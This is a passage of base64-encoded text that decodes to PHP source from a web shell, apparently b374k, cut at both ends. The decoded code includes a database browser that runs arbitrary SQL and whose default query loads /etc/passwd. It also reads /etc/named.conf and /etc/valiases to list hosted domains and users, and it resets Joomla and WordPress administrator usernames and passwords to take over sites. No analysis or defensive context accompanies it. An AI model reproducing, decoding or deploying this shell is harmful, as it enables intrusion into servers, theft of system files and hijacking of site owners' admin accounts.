lcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRtaW4uIicgV0hFUkUgbmFtZSA9ICdTdXBlciBVc2VyJyBvciBuYW1lID0gJ1N1cGVyIFV0aWxpc2F0ZXVyJyBvciBpZD0nNjInIikgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIG5hbWUgPSAnU3VwZXIgVXNlcicgb3IgbmFtZSA9ICdTdXBlciBVdGlsaXNhdGV1cicgb3IgaWQ9JzYyJyIpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7aWYoJFNRTCkgZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lLi4uIGdvIGFuZCBsb2dpbjwvaDE+PC9jZW50ZXI+Ijt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdteXNxbCcpKXtpZihpc3NldCgkX0dFVFsnc3FsaG9zdCddKSAmJiBpc3NldCgkX0dFVFsnc3FsdXNlciddKSAmJiBpc3NldCgkX0dFVFsnc3FscGFzcyddKSAmJiBpc3NldCgkX0dFVFsnc3FscG9ydCddKSl7JHNxbGhvc3QgPSAkX0dFVFsnc3FsaG9zdCddOyRzcWx1c2VyID0gJF9HRVRbJ3NxbHVzZXInXTskc3FscGFzcyA9ICRfR0VUWydzcWxwYXNzJ107JHNxbHBvcnQgPSAkX0dFVFsnc3FscG9ydCddO2lmKCRjb24gPSBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdC4iOiIuJHNxbHBvcnQsJHNxbHVzZXIsJHNxbHBhc3MpKXskbXNnIC49ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzo0cHggMTBweCAwIDEwcHg7Jz4iOyRtc2cgLj0gIjxwPkNvbm5lY3RlZCB0byAiLiRzcWx1c2VyLiI8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4iLiRzcWxob3N0LiI6Ii4kc3FscG9ydDskbXNnIC49ICImbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nZ2F5YSc+LSZndDs8L3NwYW4+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3g9bXlzcWwmYW1wO3NxbGhvc3Q9Ii4kc3FsaG9zdC4iJmFtcDtzcWx1c2VyPSIuJHNxbHVzZXIuIiZhbXA7c3FscGFzcz0iLiRzcWxwYXNzLiImYW1wO3NxbHBvcnQ9Ii4kc3FscG9ydC4iJmFtcDsnPlsgZGF0YWJhc2VzIF08L2E+IjsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJz4iLmh0bWxzcGVjaWFsY2hhcnMoJF9HRVRbJ2RiJ10pLiI8L2E+IjsNCmlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJmFtcDt0YWJsZT0iLiRfR0VUWyd0YWJsZSddLiInPiIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsndGFibGUnXSkuIjwvYT4iOyRtc2cgLj0gIjwvcD48cD52ZXJzaW9uIDogIi5teXNxbF9nZXRfc2VydmVyX2luZm8oJGNvbikuIiBwcm90byAiLm15c3FsX2dldF9wcm90b19pbmZvKCRjb24pLiI8L3A+IjskbXNnIC49ICI8L2Rpdj4iO2VjaG8gJG1zZzsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSAmJiAoIWlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJiYgKCFpc3NldCgkX0dFVFsnc3FscXVlcnknXSkpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYjM3NGtfdGFibGU7XG5DUkVBVEUgVEFCTEUgYGIzNzRrX3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApO1xuTE9BRCBEQVRBIElORklMRSAnL2V0Yy9wYXNzd2QnXG5JTlRPIFRBQkxFIGIzNzRrX3RhYmxlO1NFTEVDVCAqIEZST00gYjM3NGtfdGFibGU7XG5EUk9QIFRBQkxFIElGIEVYSVNUUyBiMzc0a190YWJsZTsiOyRtc2cgPSAiPGRpdiBzdHlsZT0nd2lkdGg6OTklO3BhZGRpbmc6MCAxMHB4Oyc+PGZvcm0gYWN0aW9uPSc/JyBtZXRob2Q9J2dldCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+JHF1ZXJ5PC90ZXh0YXJlYT48L3A+IDxwPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBzdHlsZT0nd2lkdGg6ODBweDsnIG5hbWU9J3N1Ym1pdHF1ZXJ5JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvcD4gPC9mb3JtPjwvZGl2PiAiOyR0YWJsZXMgPSBhcnJheSgpOyRtc2cgLj0gIjx0YWJsZSBjbGFzcz0nZXhwbG9yZScgc3R5bGU9J3dpZHRoOjk5JTsnPjx0cj48dGg+YXZhaWxhYmxlIHRhYmxlcyBvbiAiLiRkYi4iPC90aD48L3RyPiI7JGhhc2lsID0gQG15c3FsX2xpc3RfdGFibGVzKCRkYiwkY29uKTsNCndoaWxlKGxpc3QoJHRhYmxlKSA9IEBteXNxbF9mZXRjaF9yb3coJGhhc2lsKSl7QGFycmF5X3B1c2goJHRhYmxlcywkdGFibGUpO30gQHNvcnQoJHRhYmxlcyk7DQpmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKXskbXNnIC49ICI8dHI+PHRkPjxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kZGIuIiZhbXA7dGFibGU9Ii4kdGFibGUuIic+JHRhYmxlPC9hPjwvdGQ+PC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pICYmICghaXNzZXQoJF9HRVRbJ3NxbHF1ZXJ5J10pKSl7DQokZGIgPSAkX0dFVFsnZGInXTskdGFibGUgPSAkX0dFVFsndGFibGUnXTskcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgMCwxMDA7IjsNCiRtc2dxID0gIjxkaXYgc3R5bGU9J3dpZHRoOjk5JTtwYWRkaW5nOjAgMTBweDsnPjxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IDxwPjx0ZXh0YXJlYSBuYW1lPSdzcWxxdWVyeScgY2xhc3M9J291dHB1dCcgc3R5bGU9J3dpZHRoOjk4JTtoZWlnaHQ6ODBweDsnPiIuJHF1ZXJ5LiI8L3RleHRhcmVhPjwvcD4gPHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPiA8L2Zvcm0+PC9kaXY+ICI7DQokY29sdW1ucyA9IGFycmF5KCk7JG1zZyA9ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz4iOyRoYXNpbCA9IEBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSAiLiRkYi4iLiIuJHRhYmxlKTt3aGlsZShsaXN0KCRjb2x1bW4pID0gQG15c3FsX2ZldGNoX3JvdygkaGFzaWwpKXsNCiRtc2cgLj0gIjx0aD4kY29sdW1uPC90aD4iOyRrb2x1bSA9ICRjb2x1bW47fSRtc2cgLj0gIjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCBjb3VudCgqKSBGUk9NICIuJGRiLiIuIi4kdGFibGUpOw0KbGlzdCgkdG90YWwpID0gbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCk7DQppZihpc3NldCgkX0dFVFsneiddKSkgJHBhZ2UgPSAoaW50KSAkX0dFVFsneiddOw0KZWxzZSAkcGFnZSA9IDE7JHBhZ2VudW0gPSAxMDA7JHRvdHBhZ2UgPSBjZWlsKCR0b3RhbCAvICRwYWdlbnVtKTskc3RhcnQgPSAoKCRwYWdlIC0gMSkgKiAkcGFnZW51bSk7JGhhc2lsID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJHBhZ2VudW0pOw0Kd2hpbGUoJGRhdGFzID0gQG15c3FsX2ZldGNoX2Fzc29jKCRoYXNpbCkpeyRtc2cgLj0gIjx0cj4iO2ZvcmVhY2goJGRhdGFzIGFzICRkYXRhKXtpZih0cmltKCRkYXRhKSA9PSAiIikgDQokZGF0YSA9ICImbmJzcDsiOyRtc2cgLj0gIjx0ZD4kZGF0YTwvdGQ+Ijt9JG1zZyAuPSAiPC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iOyRoZWFkID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6MTBweCAwIDAgNnB4Oyc+IDxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IFBhZ2UgPHNlbGVjdCBjbGFzcz0naW5wdXR6JyBuYW1lPSd6JyBvbmNoYW5nZT0ndGhpcy5mb3JtLnN1Ym1pdCgpOyc+IjsNCmZvcigkaSA9IDE7JGkgPD0gJHRvdHBhZ2U7JGkrKyl7JGhlYWQgLj0gIjxvcHRpb24gdmFsdWU9JyIuJGkuIic+Ii4kaS4iPC9vcHRpb24+IjsNCmlmKCRpID09ICRfR0VUWyd6J10pICRoZWFkIC49ICI8b3B0aW9uIHZhbHVlPSciLiRpLiInIHNlbGVjdGVkPSdzZWxlY3RlZCc+Ii4kaS4iPC9vcHRpb24+Ijt9ICRoZWFkIC49ICI8L3NlbGVjdD48bm9zY3JpcHQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9ub3NjcmlwdD48L2Zvcm0+PC9kaXY+IjskbXNnID0gJG1zZ3EuJGhlYWQuJG1zZzt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWydzdWJtaXRxdWVyeSddKSAmJiAoJF9HRVRbJ3NxbHF1ZXJ5J10gIT0gIiIpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSBtYWdpY2Jvb20oJF9HRVRbJ3NxbHF1ZXJ5J10pOw0KJG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+Ii4kcXVlcnkuIjwvdGV4dGFyZWE+PC9wPiA8cD48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgc3R5bGU9J3dpZHRoOjgwcHg7JyBuYW1lPSdzdWJtaXRxdWVyeScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgLz48L3A+IDwvZm9ybT48L2Rpdj4gIjsNCkBteXNxbF9zZWxlY3RfZGIoJGRiKTskcXVlcnlzID0gZXhwbG9kZSgiOyIsJHF1ZXJ5KTsNCmZvcmVhY2goJHF1ZXJ5cyBhcyAkcXVlcnkpe2lmKHRyaW0oJHF1ZXJ5KSAhPSAiIil7JGhhc2lsID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmKCRoYXNpbCl7JG1zZyAuPSAiPHAgc3R5bGU9J3BhZGRpbmc6MDttYXJnaW46MjBweCA2cHggMCA2cHg7Jz4iLiRxdWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdnYXlhJz5bPC9zcGFuPiBvayA8c3BhbiBjbGFzcz0nZ2F5YSc+XTwvc3Bhbj48L3A+IjskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+IjsNCmZvcigkaT0wOyRpPEBteXNxbF9udW1fZmllbGRzKCRoYXNpbCk7JGkrKykgDQokbXNnIC49ICI8dGg+Ii5odG1sc3BlY2lhbGNoYXJzKEBteXNxbF9maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8L3RoPiI7JG1zZyAuPSAiPC90cj4iOw0KZm9yKCRpPTA7JGk8QG15c3FsX251bV9yb3dzKCRoYXNpbCk7JGkrKykgDQp7JHJvd3M9QG15c3FsX2ZldGNoX2FycmF5KCRoYXNpbCk7JG1zZyAuPSAiPHRyPiI7DQpmb3IoJGo9MDskajxAbXlzcWxfbnVtX2ZpZWxkcygkaGFzaWwpOyRqKyspIHsNCmlmKCRyb3dzWyRqXSA9PSAiIikgJGRhdGF6ID0gIiZuYnNwOyI7DQplbHNlICRkYXRheiA9ICRyb3dzWyRqXTskbXNnIC49ICI8dGQ+Ii4kZGF0YXouIjwvdGQ+Ijt9ICRtc2cgLj0gIjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KZWxzZSAkbXNnIC49ICI8cCBzdHlsZT0ncGFkZGluZzowO21hcmdpbjoyMHB4IDZweCAwIDZweDsnPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPls8L3NwYW4+IGVycm9yIDxzcGFuIGNsYXNzPSdnYXlhJz5dPC9zcGFuPjwvcD4iO30gfSB9IA0KZWxzZSB7JHF1ZXJ5ID0gIlNIT1cgUFJPQ0VTU0xJU1Q7XG5TSE9XIFZBUklBQkxFUztcblNIT1cgU1RBVFVTOyI7JG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nIi4kc3FsaG9zdC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxwYXNzJyB2YWx1ZT0nIi4kc3FscGFzcy4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz48cD48dGV4dGFyZWEgbmFtZT0nc3FscXVlcnknIGNsYXNzPSdvdXRwdXQnIHN0eWxlPSd3aWR0aDo5OCU7aGVpZ2h0OjgwcHg7Jz4iLiRxdWVyeS4iPC90ZXh0YXJlYT48L3A+PHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPjwvZm9ybT48L2Rpdj4gIjskZGJzID0gYXJyYXkoKTskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+PHRoPmF2YWlsYWJsZSBkYXRhYmFzZXM8L3RoPjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfbGlzdF9kYnMoJGNvbik7DQp3aGlsZShsaXN0KCRkYikgPSBAbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCkpe0BhcnJheV9wdXNoKCRkYnMsJGRiKTt9IEBzb3J0KCRkYnMpO2ZvcmVhY2goJGRicyBhcyAkZGIpew0KJG1zZyAuPSAiPHRyPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7eD1teXNxbCZhbXA7c3FsaG9zdD0iLiRzcWxob3N0LiImYW1wO3NxbHVzZXI9Ii4kc3FsdXNlci4iJmFtcDtzcWxwYXNzPSIuJHNxbHBhc3MuIiZhbXA7c3FscG9ydD0iLiRzcWxwb3J0LiImYW1wO2RiPSIuJGRiLiInPiRkYjwvYT48L3RkPjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KQG15c3FsX2Nsb3NlKCRjb24pO30gZWxzZSAkbXNnID0gIjxwIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPmNhbid0IGNvbm5lY3Q8L3A+IjtlY2hvICRtc2c7fSBlbHNlez8+IA0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9ImdldCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieSIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9Im15c3FsIiAvPjxicj48YnI+PGJyPjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5NeVNRTCBDb25uZWN0PC90aD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO0hvc3Q8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7VXNlcm5hbWU8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsdXNlciIgdmFsdWU9InJvb3QiIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO1Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoyMjBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBhc3MiIHZhbHVlPSJwYXNzd29yZCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6ODBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBvcnQiIHZhbHVlPSIzMzA2IiAvPiZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6MTklOyIgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gISIgbmFtZT0ic3VibWl0c3FsIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4gDQo8P3BocCB9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW5zJykpe2VjaG8gIjxicj48YnI+PHAgYWxpZ249Y2VudGVyPkRvbWFpbnMgYW5kIFVzZXJzPC9wPiI7JGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQppZighJGQwbWFpbnMpe2RpZSgiPGNlbnRlcj5FcnJvciA6IGkgY2FuJ3QgcmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9jZW50ZXI+Iik7fWVjaG8gJzx0YWJsZSBpZD0ib3V0cHV0Ij48dHIgYmdjb2xvcj0jY2VjZWNlPjx0ZD5Eb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+JzsNCmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7aWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTtmbHVzaCgpO2lmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXskdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpO2VjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7Zmx1c2goKTt9fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dvcmRwcmVzcycpKXtpZihlbXB0eSgkX1BPU1RbJ3B3ZCddKSl7ZWNobyAiPGJyPjxicj48YnI+PGJyPjxicj48YnI+PEZPUk0gbWV0aG9kPSdQT1NUJz5EQl9QcmVmaXggOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J3dwXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDtob3N0ICAgICA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO2RhdGFiYXNlIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdEYXRhYmFzZScgbmFtZT0nZGF0YWJhc2UnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO3VzZXJuYW1lIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl91c2VyJyBuYW1lPSd1c2VybmFtZScgdHlwZT0ndGV4dCc+Jm5ic3A7Jm5ic3A7cGFzc3dvcmQgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDs8YnI+PGJyPk5ldyB1c2VybmFtZSA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBwYXNzd29yZCA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj4mbmJzcDsmbmJzcDs8YnI+PElOUFVUIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdjaGFuZ2UnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2V7JHByZWZpeCA9ICRfUE9TVFsncHJlZml4J107JGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107JGRhdGFiYXNlPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkPSAkX1BPU1RbJ3Bhc3N3b3JkJ107JHB3ZD0gJF9QT1NUWydwd2QnXTskYWRtaW49ICRfUE9TVFsnYWRtaW4nXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFt